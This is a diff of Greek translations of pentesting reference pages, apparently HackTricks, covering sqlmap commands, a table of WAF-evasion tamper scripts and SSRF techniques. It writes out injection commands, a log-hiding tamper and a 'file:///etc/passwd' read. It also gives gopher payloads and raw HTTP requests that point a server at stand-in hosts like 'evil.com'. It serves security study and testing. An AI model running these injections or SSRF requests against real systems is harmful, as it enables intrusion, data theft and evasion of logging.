||||
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση |
|
||||
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
|
||||
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
|
||||
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση \(π.χ. .replace\("SELECT", ""\)\) φίλτρα |
|
||||
| percentage.py | Προσθέτει ένα ποσοστό \('%'\) μπροστά από κάθε χαρακτήρα |
|
||||
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
|
||||
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) |
|
||||
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
|
||||
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
|
||||
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
|
||||
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
|
||||
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια |
|
||||
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλας \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
||||
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλα \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
||||
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
||||
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
||||
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
|
||||
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλας \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
|
||||
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλα \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
|
||||
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) |
|
||||
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους \(&& και |
|
||||
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς τους αντιστοίχους \(&& και |
|
||||
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
|
||||
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου \('\) με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος \(για να λειτουργήσει\) |
|
||||
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τιμή κεφαλαίου 'INSERT' |
|
||||
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' |
|
||||
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
|
||||
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
|
||||
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Βασικά επιχειρήματα για το SQLmap
|
||||
|
||||
### Γενικά
|
||||
@ -42,7 +43,7 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
Χρησιμοποιώντας [SQLMapping](https://taurusomar.github.io/sqlmapping/) είναι ένα πρακτικό εργαλείο που δημιουργεί εντολές και παρέχει μια πλήρη επισκόπηση, τόσο βασική όσο και προχωρημένη, για το SQLMap. Περιλαμβάνει ToolTips που εξηγούν κάθε πτυχή του εργαλείου, λεπτομερώς κάθε επιλογή ώστε να μπορείτε να βελτιώσετε και να κατανοήσετε πώς να το χρησιμοποιείτε αποδοτικά και αποτελεσματικά.
|
||||
Χρησιμοποιώντας [SQLMapping](https://taurusomar.github.io/sqlmapping/) είναι ένα πρακτικό εργαλείο που δημιουργεί εντολές και παρέχει μια πλήρη επισκόπηση, τόσο βασική όσο και προχωρημένη, για το SQLMap. Περιλαμβάνει ToolTips που εξηγούν κάθε πτυχή του εργαλείου, λεπτομερώνοντας κάθε επιλογή ώστε να μπορείτε να βελτιώσετε και να κατανοήσετε πώς να το χρησιμοποιείτε αποδοτικά και αποτελεσματικά.
|
||||
|
||||
## Τόπος έγχυσης
|
||||
|
||||
@ -61,7 +62,7 @@ sqlmap -u "http://example.com/?id=*" -p id
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
### Ενέσεις σε Κεφαλίδες και άλλες Μεθόδους HTTP
|
||||
### Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP
|
||||
```bash
|
||||
#Inside cookie
|
||||
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
||||
@ -113,7 +114,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
[**Διαβάστε αυτή την ανάρτηση** ](second-order-injection-sqlmap.md)**για το πώς να εκτελέσετε απλές και σύνθετες δεύτερες παραγγελίες με sqlmap.**
|
||||
[**Διαβάστε αυτή την ανάρτηση** ](second-order-injection-sqlmap.md)** σχετικά με το πώς να εκτελέσετε απλές και σύνθετες δεύτερες παραγγελίες με sqlmap.**
|
||||
|
||||
## Προσαρμογή Εισαγωγής
|
||||
|
||||
@ -137,54 +138,54 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
```
|
||||
| Tamper | Description |
|
||||
| Tamper | Περιγραφή |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
|
||||
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
|
||||
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload |
|
||||
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
|
||||
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
|
||||
| chardoubleencode.py | Διπλά κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Κωδικοποιεί σε URL όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||
| charunicodeencode.py | Κωδικοποιεί σε unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
|
||||
| charunicodeescape.py | Κωδικοποιεί σε unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
|
||||
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
|
||||
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload |
|
||||
| base64encode.py | Κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload σε Base64 |
|
||||
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
|
||||
| chardoubleencode.py | Διπλά κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||
| charunicodeencode.py | Κωδικοποιεί unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
|
||||
| charunicodeescape.py | Κωδικοποιεί unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
|
||||
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο ('=') με τον τελεστή 'LIKE' |
|
||||
| escapequotes.py | Διαφεύγει τις αποστροφές (' και ") |
|
||||
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με τον αντίστοιχο 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
|
||||
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό έκδοσης |
|
||||
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
|
||||
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
|
||||
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα |
|
||||
| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα |
|
||||
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή περίπτωσης |
|
||||
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με τον αντίστοιχο 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
|
||||
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση |
|
||||
| modsecurityzeroversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης |
|
||||
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
|
||||
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα |
|
||||
| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα |
|
||||
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
|
||||
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
|
||||
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
|
||||
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
|
||||
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
|
||||
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
|
||||
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια |
|
||||
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
||||
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
||||
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με συν (+) |
|
||||
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και |
|
||||
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
|
||||
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
|
||||
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με την κεφαλαία τιμή 'INSERT' |
|
||||
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
||||
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
||||
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με συν (+) |
|
||||
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και |
|
||||
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
|
||||
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
|
||||
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' |
|
||||
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
|
||||
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
|
||||
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -46,7 +46,7 @@ headers = kwargs.get("headers", {})
|
||||
login_account(payload)
|
||||
return payload
|
||||
```
|
||||
Ένα **SQLMap tamper εκτελείται πάντα πριν ξεκινήσει μια προσπάθεια injection με ένα payload** **και πρέπει να επιστρέφει ένα payload**. Σε αυτή την περίπτωση δεν μας ενδιαφέρει το payload αλλά μας ενδιαφέρει να στείλουμε κάποιες αιτήσεις, οπότε το payload δεν αλλάζει.
|
||||
Ένα **SQLMap tamper εκτελείται πάντα πριν ξεκινήσει μια προσπάθεια έγχυσης με ένα payload** **και πρέπει να επιστρέφει ένα payload**. Σε αυτή την περίπτωση δεν μας ενδιαφέρει το payload αλλά μας ενδιαφέρει να στείλουμε κάποιες αιτήσεις, οπότε το payload δεν αλλάζει.
|
||||
|
||||
Έτσι, αν για κάποιο λόγο χρειαστούμε μια πιο σύνθετη ροή για να εκμεταλλευτούμε τη δεύτερη τάξη SQL injection όπως:
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Μια **ευπάθεια Server-side Request Forgery (SSRF)** συμβαίνει όταν ένας επιτιθέμενος χειραγωγεί μια **εφαρμογή server-side** ώστε να κάνει **HTTP requests** σε έναν τομέα της επιλογής του. Αυτή η ευπάθεια εκθέτει τον διακομιστή σε αυθαίρετα εξωτερικά αιτήματα που κατευθύνονται από τον επιτιθέμενο.
|
||||
Μια **ευπάθεια Server-side Request Forgery (SSRF)** συμβαίνει όταν ένας επιτιθέμενος χειραγωγεί μια **εφαρμογή server-side** ώστε να κάνει **HTTP αιτήματα** σε έναν τομέα της επιλογής του. Αυτή η ευπάθεια εκθέτει τον διακομιστή σε αυθαίρετα εξωτερικά αιτήματα που κατευθύνονται από τον επιτιθέμενο.
|
||||
|
||||
## Capture SSRF
|
||||
|
||||
@ -30,7 +30,7 @@ url-format-bypass.md
|
||||
|
||||
### Bypass via open redirect
|
||||
|
||||
Εάν ο διακομιστής είναι σωστά προστατευμένος, μπορείτε να **παρακάμψετε όλους τους περιορισμούς εκμεταλλευόμενοι μια Open Redirect μέσα στη σελίδα**. Επειδή η ιστοσελίδα θα επιτρέπει **SSRF στον ίδιο τομέα** και πιθανώς θα **ακολουθεί ανακατευθύνσεις**, μπορείτε να εκμεταλλευτείτε την **Open Redirect για να κάνετε τον διακομιστή να έχει πρόσβαση σε οποιοδήποτε εσωτερικό πόρο**.\
|
||||
Εάν ο διακομιστής είναι σωστά προστατευμένος, μπορείτε να **παρακάμψετε όλους τους περιορισμούς εκμεταλλευόμενοι μια Ανοιχτή Ανακατεύθυνση μέσα στη σελίδα**. Επειδή η ιστοσελίδα θα επιτρέπει **SSRF στον ίδιο τομέα** και πιθανώς θα **ακολουθεί τις ανακατευθύνσεις**, μπορείτε να εκμεταλλευτείτε την **Ανοιχτή Ανακατεύθυνση για να κάνετε τον διακομιστή να έχει πρόσβαση σε οποιοδήποτε εσωτερικό πόρο**.\
|
||||
Διαβάστε περισσότερα εδώ: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## Protocols
|
||||
@ -38,7 +38,7 @@ url-format-bypass.md
|
||||
- **file://**
|
||||
- Το σχήμα URL `file://` αναφέρεται, δείχνοντας απευθείας στο `/etc/passwd`: `file:///etc/passwd`
|
||||
- **dict://**
|
||||
- Το σχήμα URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα που δίνεται απεικονίζει μια κατασκευασμένη διεύθυνση URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό καταχώρησης, καθώς και μια περίπτωση ενός PHP script που μπορεί να χρησιμοποιηθεί κακόβουλα για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστευτήρια που παρέχονται από τον επιτιθέμενο: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- Το σχήμα URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα που δίνεται απεικονίζει ένα κατασκευασμένο URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό καταχώρησης, καθώς και μια περίπτωση ενός PHP script που μπορεί να χρησιμοποιηθεί κακόβουλα για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστευτήρια που παρέχονται από τον επιτιθέμενο: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- **SFTP://**
|
||||
- Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα PHP script θα μπορούσε να εκμεταλλευτεί για να συνδεθεί σε έναν κακόβουλο διακομιστή SFTP: `url=sftp://generic.com:11111/`
|
||||
- **TFTP://**
|
||||
@ -64,8 +64,8 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
|
||||
### Gopher://
|
||||
|
||||
Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το **IP, τη θύρα και τα bytes** που θέλετε να **στείλει** ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να **επικοινωνήσετε με οποιονδήποτε TCP διακομιστή** (αλλά πρέπει να ξέρετε πώς να μιλήσετε με την υπηρεσία πρώτα).\
|
||||
Ευτυχώς, μπορείτε να χρησιμοποιήσετε το [Gopherus](https://github.com/tarunkant/Gopherus) για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) μπορεί να χρησιμοποιηθεί για να δημιουργήσει _gopher_ payloads για _Java RMI_ υπηρεσίες.
|
||||
Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το **IP, θύρα και bytes** που θέλετε να **στείλει** ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να **επικοινωνήσετε με οποιονδήποτε TCP διακομιστή** (αλλά πρέπει να ξέρετε πώς να μιλήσετε με την υπηρεσία πρώτα).\
|
||||
Ευτυχώς, μπορείτε να χρησιμοποιήσετε [Gopherus](https://github.com/tarunkant/Gopherus) για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) μπορεί να χρησιμοποιηθεί για να δημιουργήσει _gopher_ payloads για _Java RMI_ υπηρεσίες.
|
||||
|
||||
**Gopher smtp**
|
||||
```
|
||||
@ -206,7 +206,7 @@ app.run(threaded=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να εισαχθεί ένα νέο. Αιτούμενο επίθεση:
|
||||
Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να εισαχθεί ένα νέο. Αιτούμενο αίτημα επίθεσης:
|
||||
```http
|
||||
GET @evildomain.com/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -218,7 +218,7 @@ Connection: close
|
||||
|
||||
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ανακαλύφθηκε ότι είναι δυνατό να **ξεκινήσει η διαδρομή** ενός αιτήματος με τον χαρακτήρα **`;`** που επιτρέπει στη συνέχεια τη χρήση του **`@`** και την έγχυση μιας νέας διεύθυνσης για πρόσβαση. Αιτηματική επίθεση:
|
||||
Ανακαλύφθηκε ότι είναι δυνατό να **ξεκινήσει η διαδρομή** ενός αιτήματος με τον χαρακτήρα **`;`** που επιτρέπει στη συνέχεια τη χρήση του **`@`** και την έγχυση μιας νέας διεύθυνσης για πρόσβαση. Αιτημα επίθεσης:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
@ -245,7 +245,7 @@ var_dump($response);
|
||||
```
|
||||
</details>
|
||||
|
||||
